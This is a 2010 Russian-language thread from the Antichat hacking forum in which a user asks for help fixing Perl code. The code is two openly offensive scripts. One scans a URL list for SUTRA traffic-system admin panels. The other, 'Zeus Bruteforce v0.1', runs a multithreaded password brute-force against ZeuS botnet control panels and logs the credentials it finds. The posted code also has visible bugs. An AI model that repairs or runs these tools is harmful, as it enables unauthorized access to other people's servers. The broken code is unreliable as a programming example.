Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Помогите исправить код на Perl |

23.05.2010, 22:16
|
|
Познающий
Регистрация: 17.10.2009
Сообщений: 40
Провел на форуме: 191368
Репутация:
0
|
|
Помогите исправить код на Perl
Помогите исправить код перала.
Статья http://grabberz.com/showthread.php?t=23545&highlight=ZeuS
в исходном коде ошибки(
Сам код залил http://slil.ru/29188193
Кому не сложно посмотрите, буду весьма благодарен.
|
|
|

23.05.2010, 22:40
|
|
Новичок
Регистрация: 15.02.2010
Сообщений: 26
Провел на форуме: 204981
Репутация:
5
|
|
А сюда код вставить сложно было? 
|
|
|

24.05.2010, 14:57
|
|
Познающий
Регистрация: 17.10.2009
Сообщений: 40
Провел на форуме: 191368
Репутация:
0
|
|
Вот сам код...
#!/usr/bin/perl
#Скрипт обрабатывает файл urls.txt и ищет рабочие админки сутры и сохраняет их в файл tds.txt
use strict;
use warnings;
use IO::Socket;
use threads;
open(TDS, ">tds.txt") or die("Cannot open file Socks List File or File isn\'t writable");
open(URLS, "urls.txt") or die("Cannot open file URL List File");
my $threads = 100; # количество потоков
my @list;
my @URLS = <URLS>;
close URLS;
while (@URLS){
my $idx=0;
my @trl;
while (@URLS && ($idx <= $threads)){
my $url = shift(@URLS);
chomp($url);
$trl[$idx]=threads->create(&check, $idx, $url);
$idx++;
undef($url);
}
for(@trl){ $_->join; }
}
sub check{
my $url = $_[1];
if ($$url =~ /http://(.+?)/(.+)$/i){
my $host = $1;
my $dir = '/'.$2;
if (my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => 80)){
$socket->autoflush(1);
print $socket "GET $dir HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\r\n";
print $socket "Accept: text/html\r\n";
print $socket "Connection: close\r\n\r\n";
my $answer;
$socket->recv($answer, 2048);
close($socket);
if ($answer =~ /SUTRA/i){
print "[+]".$$url."\n";
print TDS "$$url\n";
}
undef($answer);
undef($$url);
undef($host);
undef($dir);
}
}
}
close TDS;
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use threads;
my $url * * *= $ARGV[0] || 'adms.txt'; # Файл с сылками для брута
my $user * * = $ARGV[1] || 'users.txt'; # Файл с именами пользователей
my $pass * * = $ARGV[2] || 'pass.txt'; # Файл с паролями
my $good * * = $ARGV[3] || 'good.txt'; # Файл куда будут сохранять хорошие пароли
my $logfile *= $ARGV[4] || 'log.txt'; # Файл куда будет писаться лог брута
my $threads *= $ARGV[5]; *# Количество потоков для брута
print q(
################################################## #############
# * * * * * * * * * *Zeus Bruteforce v0.1 * * * * * * * * * * #
################################################## #############
# *usage : zeus.pl [url] [user] [pass] [good] [log] [threads] #
#-------------------------------------------------------------#
# * *[url] * * : Urls List File * * * * * *(urls.txt) * * * * #
# * *[user] * *: Users List File * * * * * (users.txt) * * * *#
# * *[pass] * *: Passwords List File * * * (pass.txt) * * * * #
# * *[good] * *: Good List File * * * * * *(good.txt) * * * * #
# * *[log] * * : Log File * * * * * * * * *(log.txt) * * * * *#
# * *[threads] : Threads * * * * * * * * * (100) * * * * * * *#
# * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #
################################################## #############
# * * * * * * * * * * * (c)xlt / x25.in * * * * * * * * * * * #
################################################## #############
);
open(URLS, "$url") or die("Cannot open file Urls List File: $url");
open(USERS, "$user") or die("Cannot open file Users List File: $user");
open(PASSWORDS, "$pass") or die("Cannot open file Password List File: $pass");
open(GOODS, ">>$good") or die("Cannot open file Goos List File or File isn\'t writable: $good");
open(LOGS, ">>$logfile") or die("Cannot open file Log List File or File isn\'t writable: $logfile");
if (!$threads){ $threads=100;}
my @URLS = <URLS>; # массив с ссылками для брута
my @USERS = <USERS>; # массив с именнами пользователей
my @PASSWORDS = <PASSWORDS>; # массив с паролями
close URLS;
close USERS;
close PASSWORDS;
while (@PASSWORDS){
my $idx=0;
my @trl;
while (@PASSWORDS && ($idx <= $threads)){
my $pass = shift (@PASSWORDS);
chomp($pass);
my $len = length($pass);
if ($len > 5){
foreach my $user (@USERS){
chomp($user);
foreach my $url (@URLS){
chomp($url);
$trl[$idx]=threads->create(&brut, $idx, $url, $user, $pass);
$idx++;
}
}
}
undef($pass);
}
for(@trl){
my $url = $_->join;
if ($url){
my @URLS = grep(!$$url, @URLS);
undef($$url);
}
}
}
sub brut{
my $url = $_[1]; # Получает url для брута
my $user = $_[2]; # Получаем имя пользователя
my $pass = $_[3]; # Получаем пароль
my $post = "user=$$user&pass=$$pass&lng=en&";
my $len=length($post);
$len+=1;
$$url =~ /^http://(.+?)/(.+)$/i;
my $host = $1;
my $dir = '/'.$2.'?m=login';
if (my $socket = IO::Socket::INET->new(Proto => "tcp", Timeout => "1", PeerAddr => "$host", PeerPort => 80)){
$socket->autoflush(1);
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";
my $answer;
$socket->recv($answer, 2048);
close($socket);
if ($answer =~ /?m=home/i){
print "\n[+] PASSWORD FOUND! $$url user: $$user pass: $$pass \n";
print GOODS "\n[+] PASSWORD FOUND! $$url user: $$user pass: $$pass \n";
* *print LOGS "\n[+] PASSWORD FOUND! $$url user: $$user pass: $$pass \n";
* *return $$url;
* *} else {
* *print LOGS "\n[-] $$url user: $$user pass: $$pass";
}
undef($answer);
undef($host);
undef($dir);
} else {
print LOGS "\n[-] Can not connect to the host: $host";
undef($$user);
undef($host);
undef($dir);
return $$url;
}
}
close GOODS;
close LOGS;
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|